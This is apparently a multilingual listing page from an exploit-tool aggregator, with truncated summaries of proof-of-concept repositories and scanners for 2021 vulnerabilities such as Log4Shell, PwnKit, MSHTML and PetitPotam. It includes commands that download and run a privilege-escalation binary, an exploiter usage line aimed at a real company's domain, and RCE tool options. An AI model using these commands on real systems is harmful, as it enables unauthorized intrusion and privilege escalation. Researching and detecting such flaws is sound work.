Log4j-RCE-Exploiter

Log4j-RCE-Exploiter Scanner pour Log4j RCE CVE-2021-44228 Installation Pour l'installation, exécutez la commande suivante avec SUPERUTILISATEUR ROOT root@kitploit: ▶ cd Log4j-RCE-Exploiter ▶ chmod 777 installer.sh ▶ ./installer.sh Utilisation root@kitploit: ▶ log4jExploiter -d tesla.com -b...

CVE-2021-40444-POC

CVE-2021-40444-POC Une tentative de reproduction de la vulnérabilité d'exécution de code à distance RCE Microsoft MSHTML en utilisant Metasploit Framework. Fonctionne mieux si elle n'est pas exécutée dans FlareVM PRÉPARATION Clonez le dépôt depuis https://github.com/lockedbyte/CVE-2021-40444...

CVE-2021-22005

CVE-2021-22005-metasploit le script metasploit POC/EXP concernant CVE-2021-22005 VMware vCenter Server contient une vulnérabilité de téléversement arbitraire de fichiers préparation du POC root@kitploit: git clone https://github.com/TaroballzChen/CVE-2021-22005-metasploit cd...

CVE-2021-3929-3947

CVE-2021-3929-3947 PoC d'évasion de VM pour CVE-2021-3929 et CVE-2021-3947. À des fins éducatives uniquement. Vous pouvez lire le livre blanc pour plus d'informations. Environnement root@kitploit: OS: Ubuntu 21.10 Linux: 5.13.0 gcc: 11.2.0 glibc: 2.34 glib: 2.68.4 QEMU: 6.1.0 Guest OS: Ubuntu 21....

CVE-2021-43224-POC

CVE-2021-43224-POC POC du pilote Windows Common Log File System peut-être CVE-2021-43226 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43226 juste un BSOD !!! testé sur Windows 20H2 version 19042.1387...

CallbackHell

CallbackHell Exploit for CVE-2021-40449 Win32k - LPE CallbackHell Описание Техническое описание PoC Ссылки Описание CVE-2021-40449 — это use-after-free в Win32k, который позволяет повышать привилегии локально. Уязвимость была обнаружена в реальных атаках компанией Kaspersky. Обнаруженный эксплойт...

PwnKit-CVE-2021-4034

PwnKit PoC pour PwnKit / CVE-2021-4034 - Élévation de privilèges locale pkexec Exploitation Manuellement root@kitploit: curl -fsSL https://raw.githubusercontent.com/jayhutajulu1/PwnKit-CVE-2021-4034/main/PwnKit -o PwnKit chmod +x ./PwnKit ./PwnKit interactive shell ./PwnKit 'id' single command...

CVE-2021-45232-RCE

Apache APISIX Dashboard RCE root@kitploit: usage: -h -u URL -p PORT -c CMD optional arguments: -h, --help show this help message and exit -u URL, --url URL target url e.g: http://127.0.0.1:9000 -p PORT, --port PORT apisix management port default: 9080 -c CMD, --cmd CMD command default: ifconfig...

cloudrasp-log4j2

CloudArmor · Модуль самозащиты приложений во время выполнения — версия Log4j2 Китайский упрощённый Этот проект является локальной версией CloudArmor, специально созданной для защиты от Log4j2 CVE-2021-44228. Для работы этого проекта не требуется подключение к сети. Пожалуйста, ПРОВЕДИТЕ...

test-44228

test-44228 Un exemple simple pour CVE-2021-44228 Implémente deux CLI Java, l'une utilisant log4j v1.x, l'autre utilisant log4j 2.x pour démontrer la vulnérabilité log4shell. Voir aussi : https://www.lunasec.io/docs/blog/log4j-zero-day/...

Log4j-CVE-2021-44228

Ce scanner Python détectera la vulnérabilité log4j dans les instances Java et renverra la réponse...

Get-log4j-Windows.ps1

Get-log4j-Windows.ps1 Identifier tous les composants log4j sur tous les serveurs Windows, dans tout le domaine, peut être multi-domaine. CVE-2021-44228 Évolue jusqu'à 1 000+ serveurs Windows, 250+ serveurs à la fois. 1 000 serveurs ont pris environ 1h30. Apache log4j CVE-2021-44228 Version serveu...

apachrot

Apache Linux CVE-2021-41773/2021-42013 Vérificateur de masse de vulnérabilités Outil automatique de masse pour vérifier la vulnérabilité dans Apache Linux 2.4.49/50 Utilise GNU Parallel. Vous devez avoir parallel pour exécuter cet outil Installer Parallel Linux : commande apt-get install parallel...

CVE-2021-44228

Vulnérabilités dans Log4j Mise à jour 19.12.2021 : De nouvelles vulnérabilités et de nouvelles façons de les exploiter sont constamment découvertes dans Log4j. Nous avons ajouté trois organigrammes mind maps dans le gitrepo qui décrivent respectivement version vulnérable de Log4j, comment vérifie...

CVE-2021-40346-POC

CVE-2021-40346-POC CVE-2021-40346 の整数オーバーフローにより HTTP スマグリングが可能になる 整数オーバーフローによる HTTP リクエストスマグリング 中国語分析：HAProxy リクエストスマグリング脆弱性（CVE-2021-40346）分析 参照: https://jfrog.com/blog/critical-vulnerability-in-haproxy-cve-2021-40346-integer-overflow-enables-http-smuggling/ ビルド root@kitploit: git clone...

log4j-cve-2021-44228

Playbook du scanner de détection Log4j-CVE-2021-44228 Playbook Ansible pour vérifier les hôtes Linux cibles à l'aide du script officiel de détection Log4j de Red Hat pour Log4Shell CVE-2021-44228. Détecteur Red Hat version 1.3 du 2022-01-10. Le résultat est enregistré dans un fichier txt sous...

log4j-cve-2021-44228

log4j-cve-2021-44228...

CVE-2021-22911

CVE-2021-22911 Изменённая версия оригинального эксплойта для экономии времени на сбросе пароля для непривилегированного пользователя Скрипт предполагает, что вы можете зарегистрировать учётную запись или уже знаете учётные данные непривилегированных пользователей. Измените пароль на действительны...

CVE-2021-22555

CVE-2021-22555...

PetitPotam

PetitPotam Outil de preuve de concept PoC pour forcer des hôtes Windows à s'authentifier sur d'autres machines via MS-EFSRPC EfsRpcOpenFileRaw ou d'autres fonctions : Les outils utilisent le pipe nommé LSARPC avec l'interface c681d488-d850-11d0-8c52-00c04fd90f7e car il est plus répandu. Mais il e...